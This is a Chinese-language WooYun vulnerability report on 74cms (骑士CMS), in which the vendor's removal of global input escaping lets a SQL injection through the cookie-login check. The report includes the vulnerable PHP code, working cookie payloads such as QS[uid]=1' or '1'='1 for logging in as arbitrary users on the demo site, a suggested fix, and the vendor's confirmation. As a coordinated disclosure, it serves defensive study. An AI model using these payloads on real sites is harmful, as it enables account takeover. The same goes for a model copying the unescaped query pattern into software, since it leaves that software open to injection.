当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131315

漏洞标题:骑士CMS最新版任意用户登陆

相关厂商:74c,s.com

漏洞作者: 路人甲

提交时间:2015-08-03 16:19

修复时间:2015-11-02 09:38

公开时间:2015-11-02 09:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-03: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-09-28: 细节向核心白帽子及相关领域专家公开
2015-10-08: 细节向普通白帽子公开
2015-10-18: 细节向实习白帽子公开
2015-11-02: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

骑士CMS最新版任意用户登陆(官网demo测试)。

详细说明:

骑士CMS最新版去掉了全局addslash

include/common.inc.php


@@ -17,20 +17,10 @@ session_save_path(QISHI_ROOT_PATH.'data/sessions/');
session_start();\r
require_once(QISHI_ROOT_PATH.'data/config.php');\r
header("Content-Type:text/html;charset=".QISHI_CHARSET);\r
+require_once(QISHI_ROOT_PATH.'include/help.class.php');\r
require_once(QISHI_ROOT_PATH.'include/common.fun.php');\r
require_once(QISHI_ROOT_PATH.'include/74cms_version.php');\r
$QSstarttime=exectime();\r
-\r
-if (!empty($_GET))\r
-{\r
-$_GET = addslashes_deep($_GET);\r
-}\r
-if (!empty($_POST))\r
-{\r
-$_POST = addslashes_deep($_POST);\r
-}\r
-$_COOKIE = addslashes_deep($_COOKIE);\r
-$_REQUEST = addslashes_deep($_REQUEST);\r
date_default_timezone_set("PRC");\r
$timestamp = time();\r
$online_ip=getip();\r


导致在旧版PHP GPC off或和PHP5.x上参数直接带入SQL语句,虽然include/help.class.php添加了新的过滤函数,但是对正常拼接出来的SQL语句无效。这样在GET,POST, COOKIE中均可带入',导致各种越权。
本例以任意帐号登陆来演示。
user/user_favorites_job.php会调用check_cookie()来检查COOKIE登陆,

12  define('IN_QISHI', true);
13 require_once(dirname(__FILE__).'/../include/common.inc.php');
14 $act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : 'add';
15 require_once (QISHI_ROOT_PATH.'include/mysql.class.php');
16 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
17 if((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
18 {
19 require_once (QISHI_ROOT_PATH.'include/fun_user.php');
20 if(check_cookie($_COOKIE['QS']['uid'],$_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
21 {
22 update_user_info($_COOKIE['QS']['uid'],false,false);
23 header("Location:".get_member_url($_SESSION['utype']));
24 }
25 else
26 {
...snip...
32 }
33 }


223  function check_cookie($uid,$name,$pwd){
224 global $db;
225 $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE uid='{$uid}' and username='{$name}' and password = '{$pwd}'");
226 if($row['num'] > 0)
227 {
228 return true;
229 }else{
230 return false;
231 }
232 }


check_cookie拼接SQL使用了没有过滤的COOKIE值,这样我们只要设置COOKIE为:

QS[uid]=1' or '1'='1
QS[username]=testadmin
QS[password]=aa


访问http://demo.74cms.com/user/user_favorites_job.php即可登陆uid为1的帐号。
未登陆状态访问http://demo.74cms.com/,F12打开chrome的开发工具,进入控制台输入:

document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=1' or '1'='1";


1.png


访问http://demo.74cms.com/user/user_favorites_job.php即可看到登陆成功。

2.png


退出,然后使用uid=2登陆:

document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=2' or '1'='1";


3.png


访问http://demo.74cms.com/user/user_favorites_job.php即可看到登陆成功。

4.png


漏洞证明:

2.png


4.png


修复方案:

全局的addslashes_deep改回来把,光靠check sql来检查SQL注入不太现实。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-04 09:37

厂商回复:

感谢反馈!

最新状态:

2015-08-04:已经还原全局过滤